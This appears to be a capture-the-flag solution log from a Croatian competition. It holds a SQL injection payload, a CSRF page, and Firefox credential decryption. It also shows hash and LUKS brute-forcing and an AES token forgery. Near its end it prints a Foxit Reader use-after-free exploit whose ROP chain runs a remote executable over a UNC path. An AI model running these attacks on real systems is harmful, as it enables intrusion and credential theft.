<li class="subtitle is-4 task-item">
    ID: 1 | User: AndrijaPoruka  |  Zadatak: Javite mi dojmove o stranici
    <form method="post" action="/remove_task/1">
        <button type="submit" class="remove-button">Remove</button>
    </form>
</li>

<li class="subtitle is-4 task-item">
    ID: None | User: id  |  Zadatak: None
    <form method="post" action="/remove_task/None">
        <button type="submit" class="remove-button">Remove</button>
    </form>
</li>

<li class="subtitle is-4 task-item">
    ID: None | User: ssh_creds  |  Zadatak: None
    <form method="post" action="/remove_task/None">
        <button type="submit" class="remove-button">Remove</button>
    </form>
</li>

username=' OR 1=1 UNION SELECT NULL, id, ssh_creds from SECRET_CONF --

Outputs:
<li class="subtitle is-4 task-item">
    ID: None | User: 1  |  Zadatak: CTF2024[596896021687]
    <form method="post" action="/remove_task/None">
        <button type="submit" class="remove-button">Remove</button>
    </form>
</li>

<li class="subtitle is-4 task-item">
    ID: 1 | User: AndrijaPoruka  |  Zadatak: Javite mi dojmove o stranici
    <form method="post" action="/remove_task/1">
        <button type="submit" class="remove-button">Remove</button>
    </form>
</li>

<!-- coolsite.html -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>lmao u got hacked</title>
</head>
<body>
<h1>Hello, world!</h1>
<script>
fetch("http://chal.hackultet.hr:13020/profile/2", {
    "credentials": "include",
    "headers": {
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Content-Type": "application/x-www-form-urlencoded",
    },
    "referrer": "http://chal.hackultet.hr:13020/profile/2",
    "body": "follow=follow",
    "method": "POST",
    "mode": "cors"
});
</script>
</body>
</html>

!(tcp.stream eq 3) && !(tcp.stream eq 0) && !(tcp.stream eq 4) && !(tcp.stream eq 7)

$ clippaste | base64 -d > file.7z
$ 7z x file.7z

7-Zip [64] 17.05 : Copyright (c) 1999-2021 Igor Pavlov : 2017-08-28
p7zip Version 17.05 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,6 CPUs x64)

Scanning the drive for archives:
1 file, 258 bytes (1 KiB)

Extracting archive: file.7z
--
Path = file.7z
Type = 7z
Physical Size = 258
Headers Size = 194
Method = LZMA2:12 7zAES
Solid = -
Blocks = 2


Enter password (will not be echoed):

7z a info.7z /root/info -pA7r1d7hhu

$ cat flag
CTF2024[479117885546]

$ ls
drwxr-xr-x - tonik 13 Feb 15:30 'Local Folders'
drwxr-xr-x - tonik  5 Apr 10:10 outlook.office365.com

$ rg flag
Local Folders/Trash.msf
4:  (84=references)(85=recipients)(86=date)(87=size)(88=flags)(89=priority)

Local Folders/Unsent Messages.msf
4:  (84=references)(85=recipients)(86=date)(87=size)(88=flags)(89=priority)

outlook.office365.com/Trash.msf
17:  (87=size)(88=flags)(89=priority)>

outlook.office365.com/Inbox.msf
7:  (84=references)(85=recipients)(86=date)(87=size)(88=flags)(89=priority)

outlook.office365.com/Inbox
278:r flag emails, and archive to help you stay organized =96 even sweep away a=
16107:Content-Type: image/png; name="flag.png"
16108:Content-Description: flag.png
16109:Content-Disposition: attachment; filename="flag.png"; size=11369;

$ cat outlook.office365.com/Inbox | grep "flag.png" -A 210
Content-Type: image/png; name="flag.png"
Content-Description: flag.png
Content-Disposition: attachment; filename="flag.png"; size=11369;
	creation-date="Fri, 05 Apr 2024 08:10:12 GMT";
	modification-date="Fri, 05 Apr 2024 08:10:20 GMT"
Content-Transfer-Encoding: base64

iVBORw0KGgoAAAANSUhEUgAABIAAAAKICAYAAAAIK4ENAAAAAXNSR0IArs4c6QAAAARnQU1BAACx
jwv8YQUAAAAJcEhZcwAAEnQAABJ0Ad5mH3gAACv+SURBVHhe7d3nu2VpXaDhzqm6uqu7ujpjFrNi
... more base64 data ...
AIYTgAAAAACGE4AAAAAAhhOAAAAAAIYTgAAAAACGE4AAAAAAhhOAAAAAAIYTgAAAAACGE4AAAAAA
Rnvc7v8DNLKJ3o5a50EAAAAASUVORK5CYII=

--_004_DB9P190MB172164E2CBE7F48FAF70C3FADD032DB9P190MB1721EURP_--

From - Fri Apr  5 10:15:20 2024
X-Account-Key: account4
X-UIDL: 37

$ clippaste | base64 -d > flag.png
$ icat flag.png
-- a bright green background with black text of the flag --

$ tesseract flag.png out -l hrv && cat out.txt
CTF2024[182734068591]

$ fd --hidden ".default"
.cache/thunderbird/f5u8qy7m.default/
.cache/thunderbird/vrzjpn2t.default-release/
.config/pulse/78356c4ec96f4a7fb9ad0e828d393ce8-default-sink
.config/pulse/78356c4ec96f4a7fb9ad0e828d393ce8-default-source
.thunderbird/f5u8qy7m.default/
.thunderbird/vrzjpn2t.default-release/
snap/firefox/common/.cache/mozilla/firefox/xzq03snd.default/
snap/firefox/common/.mozilla/firefox/xzq03snd.default/

$ cd snap/firefox/common/.mozilla/firefox/xzq03snd.default/
$ ls
drwxr-xr-x    - tonik 27 Feb 10:22 bookmarkbackups
drwx------    - tonik  9 Apr 09:05 crashes
...
.rw------- 295k tonik  5 Apr 09:37 key4.db
.rw-r--r-- 2.0k tonik  5 Apr 09:38 logins-backup.json
.rw-r--r-- 1.9k tonik  5 Apr 10:02 logins.json
.rw-r--r--  98k tonik  9 Apr 09:15 permissions.sqlite
.rw-------  488 tonik 13 Feb 15:31 pkcs11.txt
.rw-r--r-- 5.2M tonik  9 Apr 09:15 places.sqlite
...

# snap/firefox/common/.mozilla/firefox/xzq03snd.default
$ py firefox_decrypt.py .
2024-05-06 00:13:28,422 - WARNING - profile.ini not found in .
2024-05-06 00:13:28,422 - WARNING - Continuing and assuming '.' is a profile location

Website:   https://flag
Username: 'jurica'
Password: 'CTF2024[645346721479]'

Website:   https://example.com
Username: 'example'
Password: 'anexmaplepassword'

Website:   https://wikipedia.com
Username: 'wiki'
Password: 'onemorefakepassword'

$ cat known_hosts
|1|rS7FUkBvp6DssPFvRd4WwURfrq0=|TM/YDurUcZj5m5KMyJiKKocvidg= ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFv60BEHN2dnL0WFGGERg4O4h23j0Me1Tzg5tSiTY8g5

$ hashcat -m 160 --hex-salt hash -a 3 ipv4_hcmask.txt
hashcat (v6.2.6) starting

* Device #1: WARNING! Kernel exec timeout is not disabled.
             This may cause "CL_OUT_OF_RESOURCES" or related errors.
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch
* Device #2: WARNING! Kernel exec timeout is not disabled.
             This may cause "CL_OUT_OF_RESOURCES" or related errors.
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch
CUDA API (CUDA 12.4)
====================
* Device #1: NVIDIA GeForce GTX 1650, 3056/3894 MB, 14MCU

OpenCL API (OpenCL 3.0 CUDA 12.4.131) - Platform #1 [NVIDIA Corporation]
========================================================================
* Device #2: NVIDIA GeForce GTX 1650, skipped

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
...

// after ~5 minutes
4ccfd80e...:10.53.235.39

$ losetup /dev/loop1 disk1.dd
$ losetup /dev/loop2 disk2.dd
$ losetup /dev/loop3 disk3.dd
$ sudo mdadm --assemble /dev/md1 /dev/loop1 /dev/loop2 /dev/loop3 --run
mdadm: /dev/md1 has been started with 3 drives.
$ mkdir md1
$ sudo mount /dev/md1 md1
$ cd md1
$ ls
.rwxrwxrwx 21M root 30 Apr 15:06 archive.zip
.rwxrwxrwx  39 root 30 Apr 15:06 zip_lozinka.txt
$ cat zip_lozinka.txt
Lozinka za ZIP (ne flag) je lozinka123
$ 7z x archive.zip -plozinka123
...
$ ls
.rwxrwxrwx  21M root 30 Apr 15:06 archive.zip
.rwxrwxrwx 4.0k root 26 Apr 16:09 flag.png
.rwxrwxrwx  21M root 30 Apr 15:06 randomgarbage.txt
.rwxrwxrwx   39 root 30 Apr 15:06 zip_lozinka.txt
$ icat flag.png
-- black text on white background --

$ tesseract flag.png out -l hrv && cat out.txt
Estimating resolution as 135
CTF2024[321637860599]

$ paru -Sy bruteforce-luks

$ py -c "for x in range(1000): print(str(x).zfill(3))" > dict
$ bruteforce-luks -f dict -v 60 -t 2 luks_header_backup_1_2_2023
Warning: using dictionary mode, ignoring options -b, -e, -l, -m and -s.

... a coffee break later ...

Password found: 123

$ cp luks_header_backup_1_2_2023 newvol
$ stat -c %s new
16777216
$ sudo dd if=luksvolume of=newvol bs=1 skip=16777216 seek=16777216 conv=notrunc
...
$ sudo cryptsetup luksOpen newvol decrypted
Enter passphrase for newvol: 123
$ file /dev/loop0
/dev/loop0: block special (7/0)
$ cat /dev/loop0 > out
$ mkdir mntd
$ sudo mount /dev/mapper/decrypted mntd
$ cd mntd
$ ls
.rw-r--r-- 22 root 24 Apr 10:33 flag.txt
$ cat flag.txt
CTF2024[162539047819]

112c61a276d0376f2f6b25dd3a337b1d
999d0cd62b8ea4c8cc007fa60dd7f242818b5349
bcac9d1d8eab3713ae489224d0130c9468e7a0e3
a87ff679a2f3e71d9181a67b7542122c
1e5c2f367f02e47a8c160cda1cd9d91decbac441
19b650660b253761af189682e03501dd
e4da3b7fbbce2345d7772b0674a318d5
16b06bd9b738835e2d134fe8d596e9ab0086a985
8f14e45fceea167a5a36dedd4bea2543
456f2361d677372141da13ecbc8f27b83f5b6a15
902ba3cda1883801594b6e1b452790cc53948fda
b261807d4663f1371171d57b7d40893f

#include <iostream>
#include <random>
#include <string>
#include <vector>

using namespace std;

int LCG(int x)
{
	/*promijeniti vrijednosti parametara a, b i m*/
	int m = 99;
	int a = 20;
	int b = 10;
	return (a * x + b) % m; // m probably 100
}

int main()
{
	static bool first = true;
	vector<int> randNs;
	int next;

	int seed = 55;

	if (first) //generiramo prvi flag
	{
		next = LCG(seed);
		randNs.push_back(next);
		first = false;

		for (int i = 0; i < 5; i++)
		{
			next = LCG(next);
			if (next < 10)
			{
				randNs.push_back(0);
				randNs.push_back(next);
			}
			else
				randNs.push_back(next);
		}

		for (int i : randNs)
			cout << i << ' ';
		cout << "\n";
	}


	for (int j = 0; j < 29; j++)  //generiramo ostalih 29 flagova
	{
		randNs.clear();

		for (int i = 0; i < 6; i++)
		{
			next = LCG(next);
			if (next < 10)
			{
				randNs.push_back(0);
				randNs.push_back(next);
			}
			else
				randNs.push_back(next);
		}

		for (int i : randNs)
			cout << i << ' ';
		cout << "\n";
	}
}

nums = [21, 34, 96, 49, 00, 10, 12, 52, 60, 22, 54, 01]

tn :: [Int]
tn = tail $ zipWith (-) nums $ [0]++nums

calc :: [Int] -> [Int]
calc (x:y:z:xs) = (x*z - y*y) : calc (y:z:xs)
calc (x:y:[]) = [0]

un :: [Int]
un = init $ calc tn

greatestCommonDivisor :: Int
greatestCommonDivisor = last $ scanl gcd (head un) un

$ ./a.out
21 34 96 49 0 0 10
12 52 60 22 54 0 1
30 16 33 76 45 19

#![allow(unused)]
use std::{cmp::Reverse, collections::HashMap};

// https://stackoverflow.com/a/64499219
pub fn transpose<T>(v: Vec<Vec<T>>) -> Vec<Vec<T>>
where
    T: Default,
{
    assert!(!v.is_empty());
    let len = v[0].len();
    let mut iters: Vec<_> = v.into_iter().map(|n| n.into_iter()).collect();
    (0..len)
        .map(|_| {
            iters
                .iter_mut()
                .filter_map(|n| n.next())
                .collect::<Vec<T>>()
        })
        .collect()
}

use base64::{
    prelude::{Engine as _, BASE64_STANDARD as b64},
    Engine,
};
use itertools::Itertools;

fn val(i: u8) -> u8 {
    match i {
        b'A'..=b'F' => i - b'A' + 10,
        b'0'..=b'9' => i - b'0',
        _ => panic!("Invalid integer {i}"),
    }
}
fn hxd(input: &str) -> Vec<u8> {
    input
        .as_bytes()
        .chunks(2)
        .map(|c| val(c[0]) << 4 | val(c[1]))
        .collect()
}

fn hxe(input: &[u8]) -> String {
    input.iter().map(|x| format!("{x:02x}")).collect()
}

fn xor_fixed(a: &[u8], b: &[u8]) -> Vec<u8> {
    a.iter().zip(b.iter()).map(|(a, b)| a ^ b).collect()
}

fn xor_1byte(a: &[u8], b: u8) -> Vec<u8> {
    a.iter().map(|c| c ^ b).collect()
}

fn xor_keyed(a: &[u8], b: &[u8]) -> Vec<u8> {
    a.iter()
        .zip(std::iter::repeat(b.iter()).flatten())
        .map(|(a, b)| a ^ b)
        .collect()
}

// frequencies from: http://norvig.com/mayzner.html
fn string_score(a: &str) -> usize {
    let thng = " etaoinsrhldcumfpgwybvkxjqz202401356789[]";
    a.to_lowercase()
        .chars()
        .filter_map(|x| thng.find(x))
        .map(|x| thng.len() - x)
        .sum()
}

fn break_1byte(a: &[u8]) -> String {
    let mut s = vec![];

    for x in 0..u8::MAX {
        let st = String::from_utf8(xor_1byte(a, x));
        if st.is_ok() {
            s.push(st.unwrap());
        }
    }
    s.sort_unstable_by_key(|a| string_score(a));
    s.into_iter().last().unwrap()
}

fn hamming(a: &[u8], b: &[u8]) -> usize {
    xor_fixed(a, b)
        .iter()
        .map(|x| x.count_ones() as usize)
        .sum()
}

fn main() {
    // i just did this conversion by hand
    let enc = ["180E1F49030F4154064C1A41100E520400020D0000", "051311070B4A08440C0106001A0E521F0C0E0B031E", "02005004010D14000D0D0741074F011B1B1E135B17", "0D451408044A114C0016495A151C061B49020F5E00", "010A0208034A0F4119051A4100065218080E051211", "0D451E001D1E000006020D41541C00111D0205401E", "041311050F4A15520C0E08541D4F11114901035B16", "09131F491D180454070D495A151C06151F05090005", "0F31365B5E58557B5B5A5E19455E47465A55595462" ];
    let enc = enc.into_iter().map(|x| hxd(x)).collect_vec();
    let mut best = HashMap::new();
    let score = enc.iter()
        .tuple_windows()
        .map(|(a, b)| hamming(a.as_ref(), b.as_slice()) as f64 / a.len() as f64);
    let score: f64 = score.clone().sum::<f64>() / score.len() as f64;

    best.insert(enc[0].len(), score);
    
    let bestest = best
        .iter()
        .sorted_unstable_by(|a, b| a.1.partial_cmp(b.1).unwrap())
        .collect_vec();
    println!("{:?}", bestest);
    for (&key, _) in bestest {
        let chks = transpose(enc.iter().map(|x| x.to_vec()).collect());
        let chks = transpose(
            chks.iter()
                .map(|x| break_1byte(x).chars().collect())
                .collect(),
        );
        let chks = chks.iter().map(|x| String::from_iter(x)).join("\n");
        println!("{chks}");
    }
}

$ cargo run
    Finished dev [unoptimized + debuginfo] target(s) in 0.04s
     Running `/home/tonik/proj/cryptopals/set1/target/debug/set1`
[(21, 2.6547619047619047)]
Tko me to stda pieg2R
Ivane idemo5na keia1L
Ne mogu dants soryyiE
A daj pliz oasto eelR
Moram napistti laio C
A nista ondt sreteorL
Hvala trebaai ce fiiD
Evo sretna oastavbc2W
CTF2024[267,1152323f0

// change it until it works
let key = xor_fixed(&enc[7], b"Evo sretna zastavica:");
for x in &enc {
    println!("{}", String::from_utf8_lossy(&xor_fixed(x, &key)));
}

import sys
import hashlib


mod_p = 9001
base_g = 877
a_public = 5613
b_public = 341
# a_secret = int(input('a secret: '))
# b_secret = int(input('b secret: '))


for shared_secret in range(0, 9001):
    key = hashlib.md5(str(shared_secret).encode("ascii")).hexdigest()
    # a simple find/replace 0x to \\x
    message = b"\x25\x30\x70\x0b\x54\x50\x51\x69\x0f\x51\x01\x04\x01\x54\x0f\x54\x52\x0d\x0e\x0f\x3c"

    result = str()
    list_key = list(key)
    list_message = list(message)
    for (i, j) in zip(list_key, list_message):
        char = ord(i) ^ j
        result += chr(char)
    if result.startswith("CTF2024"):
        print(result)

$ py crack.py
CTF2024[670175814599]

# source.py #24
    padded = pad(plaintext, 16)
    print(padded)

# AES keys must be 16 or 32 bytes
$ KEY="0123456789abcdef" py source.py                                                             1 ↵
Dobrodosao !
Prijavite se.
Kako se zelite prijaviti ?
1) Token
2) Lozinka

:2
username : user
password : pass
b'{"is_admin": 0}\x01'
Tvoj token je : aedd4489f66432ee88672cb41175655b70bb021445f9836dafc1a243620cf3d2
welcome guest

$ nc chal.hackultet.hr 13019
Dobrodosao !
Prijavite se.
Kako se zelite prijaviti ?
1) Token
2) Lozinka

:2
username : user
password : pass
Tvoj token je : 8417ff8d4a8cfcf32fd5edd2c882c9294fef4fb7edbb0c9f41a00994b6d06ad0
welcome guest

nc chal.hackultet.hr 13019
Dobrodosao !
Prijavite se.
Kako se zelite prijaviti ?
1) Token
2) Lozinka

:1
Token : 8417ff8d4a8cfcf32fd5edd2c883c9294fef4fb7edbb0c9f41a00994b6d06ad0
Dobrodosao admin!
Flag = CTF2024[512978386104]

.. scanf into var_e8h ...
iVar3 = fcn.00401190(&var_e8h);
if (((
  (iVar3 == 0x20) 
  && ((char)var_e8h == 'a')) 
  && (var_e8h._1_1_ == 'G')) 
  && ((var_e8h._2_1_ == '8' 
  && (var_e8h._3_1_ == '@')))) {
  ... print the flag ...

$ nc chal.hackultet.hr 13012
Lozinka: aG8@nevergonnagiveyouupnevergonn
CTF2024[348472324235]

puts("Lozinka: ");
__isoc99_scanf("%99s", &s);
uVar1 = strlen(&s);
if (uVar1 < 6) {
    printf("Prekratak unos");
    uVar2 = 0xffffffff;
} else {
    uVar2 = fopen("./flag.txt", data.00002022);
    fread(&ptr, 100, 1, uVar2, in_R8, in_R9, argv);
    fclose(uVar2);
    var_104h = 0;
    while( true ) {
        uVar1 = strlen(&s);
        if (uVar1 <= (uint64_t)(int64_t)var_104h) break;
        if (*(char *)((int64_t)&s + (int64_t)var_104h) != *(char *)((int64_t)&ptr + (int64_t)var_104h)) {
            uVar2 = 0xffffffff;
            goto code_r0x0000136d;
        }
        var_104h = var_104h + 1;
    }
    puts(&ptr);
    uVar2 = 0;
}

$ nc chal.hackultet.hr 13013
Lozinka:
CTF2024[
CTF2024[131224316901]

$ rz-bin -z zmija
[Strings]
nth paddr      vaddr      len size section type  string
-------------------------------------------------------
...
257 0x0000b0d0 0x0040b0d0 30  31   .rodata ascii PYINSTALLER_STRICT_UNPACK_MODE
...

$ py pyinstxtractor.py zmija
[+] Processing zmija
[+] Pyinstaller version: 2.1+
[+] Python version: 3.10
[+] Length of package: 5973383 bytes
[+] Found 31 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: main.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python 3.10 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: zmija

You can now use a python decompiler on the pyc files within the extracted directory
(you can use pylingual.io if you don't want to compile pycdc yourself)

$ ls
drwxr-xr-x    - tonik  7 May 23:30 zmija_extracted
.rw-r--r--  17k tonik  7 May 23:21 pyinstxtractor.py
.rwxr-xr-x 6.0M tonik  3 May 20:04 zmija
$ cd zmija_extracted
$ ls
drwxr-xr-x    - tonik  7 May 23:30 lib-dynload
drwxr-xr-x    - tonik  7 May 23:30 PYZ-00.pyz_extracted
.rw-r--r-- 881k tonik  7 May 23:30 base_library.zip
.rw-r--r--  75k tonik  7 May 23:30 libbz2.so.1.0
.rw-r--r-- 4.5M tonik  7 May 23:30 libcrypto.so.3
.rw-r--r-- 195k tonik  7 May 23:30 libexpat.so.1
.rw-r--r-- 170k tonik  7 May 23:30 liblzma.so.5
.rw-r--r-- 187k tonik  7 May 23:30 libmpdec.so.3
.rw-r--r-- 5.8M tonik  7 May 23:30 libpython3.10.so.1.0
.rw-r--r-- 109k tonik  7 May 23:30 libz.so.1
.rw-r--r--  387 tonik  7 May 23:30 main.pyc
.rw-r--r--  861 tonik  7 May 23:30 pyi_rth_inspect.pyc
.rw-r--r--  873 tonik  7 May 23:30 pyiboot01_bootstrap.pyc
.rw-r--r-- 3.7k tonik  7 May 23:30 pyimod01_archive.pyc
.rw-r--r--  17k tonik  7 May 23:30 pyimod02_importers.pyc
.rw-r--r-- 3.7k tonik  7 May 23:30 pyimod03_ctypes.pyc
.rw-r--r-- 805k tonik  7 May 23:30 PYZ-00.pyz
.rw-r--r--  287 tonik  7 May 23:30 struct.pyc

$ pycdc main.pyc
# Source Generated with Decompyle++
# File: main.pyc (Python 3.10)

import sys
input_str = input()
flag = [
    4,
    1,
    5,
    8,
    9,
    3,
    7,
    2,
    6,
    7,
    8,
    2]
for i in range(0, len(flag)):
    if int(input_str[i]) != flag[i]:
        sys.exit(1)
print('CTF2024[', '', **('end',))
for i in flag:
    print(i, '', **('end',))
print(']')

flag = [4,1,5,8,9,3,7,2,6,7,8,2]
print('CTF2024[' + ''.join(map(str, flag)) + ']')

 cat sample.pdf

%PDF-
1 0 obj
<</Pages 1 0 R /OpenAction 2 0 R>>
2 0 obj
<</S /JavaScript /JS (

var heap_ptr   = 0;
var foxit_base = 0;
var pwn_array  = [];

function prepare_heap(size){
    var arr = new Array(size);
    for(var i = 0; i < size; i++){
        arr[i] = this.addAnnot({type: "Text"});;
        if (typeof arr[i] == "object"){
            arr[i].destroy();
        }
    }
}

function gc() {
    const maxMallocBytes = 128 * 0x100000;
    for (var i = 0; i < 3; i++) {
        var x = new ArrayBuffer(maxMallocBytes);
    }
}

function alloc_at_leak(){
    for (var i = 0; i < 0x64; i++){
        pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));
    }
}

function control_memory(){
    for (var i = 0; i < 0x64; i++){
        for (var j = 0; j < pwn_array[i].length; j++){
            pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4
        }
    }
}

function leak_vtable(){
    var a = this.addAnnot({type: "Text"});

    a.destroy();
    gc();

    prepare_heap(0x400);
    var test = new ArrayBuffer(0x60);
    var stolen = new Int32Array(test);

    var leaked = stolen[0] & 0xffff0000;
    foxit_base = leaked - 0x01f50000;
}

function leak_heap_chunk(){
    var a = this.addAnnot({type: "Text"});
    a.destroy();
    prepare_heap(0x400);

    var test = new ArrayBuffer(0x60);
    var stolen = new Int32Array(test);

    alloc_at_leak();
    heap_ptr = stolen[1];
}

function reclaim(){
    var arr = new Array(0x10);
    for (var i = 0; i < arr.length; i++) {
        arr[i] = new ArrayBuffer(0x60);
        var rop = new Int32Array(arr[i]);

        rop[0x00] = heap_ptr;                // pointer to our stack pivot from the TypedArray leak
        rop[0x01] = foxit_base + 0x01a11d09; // xor ebhttps://www.save-editor.com/tools/wse_hex.htmlx,ebx; or [eax],eax; ret
        rop[0x02] = 0x72727272;              // junk
        rop[0x03] = foxit_base + 0x00001450  // pop ebp; ret
        rop[0x04] = 0xffffffff;              // ret of WinExec
        rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret
        rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec
        rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret
        rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret
        rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret
        rop[0x0a] = foxit_base + 0x0041c6ca; // ret
        rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret
        
rop[0x0c] = 0x39315c5c;
rop[0x0d] = 0x38312e38;
rop[0x0e] = 0x3139312e;
rop[0x0f] = 0x3830322e;
rop[0x10] = 0x625c795c;
rop[0x11] = 0x6578652e;
rop[0x12] = 0x00000000;
rop[0x13] = 0x00000000;
rop[0x14] = 0x00000000;
rop[0x15] = 0x00000000;
rop[0x16] = 0x00000000;
        rop[0x17] = 0x00000000;              // adios, amigo
    }
}

function trigger_uaf(){
    var that = this;
    var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});
    var arr = [1];
    Object.defineProperties(arr,{
        "0":{
            get: function () {

                that.getAnnot(0, "uaf").destroy();

                reclaim();
                return 1;
            }
        }
    });

    a.point = arr;
}

function main(){
    leak_heap_chunk();
    leak_vtable();
    control_memory();
    trigger_uaf();
}

if (app.platform == "WIN"){
    if (app.isFoxit == "Foxit Reader"){
        if (app.appFoxitVersion == "9.0.1.1049"){
            main();
        }
    }
}

rop[0x0c] = 0x39315c5c;
rop[0x0d] = 0x38312e38;
rop[0x0e] = 0x3139312e;
rop[0x0f] = 0x3830322e;
rop[0x10] = 0x625c795c;
rop[0x11] = 0x6578652e;

import getpass
import sys
import telnetlib

HOST = "chal.hackultet.hr"


tn = telnetlib.Telnet(HOST, 13001)
for i in range(100):
    stn = tn.read_until(b')').decode()
    print(stn.split('\n'))
    rj = eval(stn.split('\n')[-1])
    tn.write(str(rj).encode('ascii') + b'\n')

print(tn.read_all().decode())

$ py mafs.py
/home/tonik/s.py:3: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13
  import telnetlib
# That's fun

... a bunch of output ...

Točno

Uspješno riješeni svi zadatci, flag: CTF2024[144865892161]
Vrijeme potrebno za rješavanje  svih zadataka: 0.7986621856689453 sekundi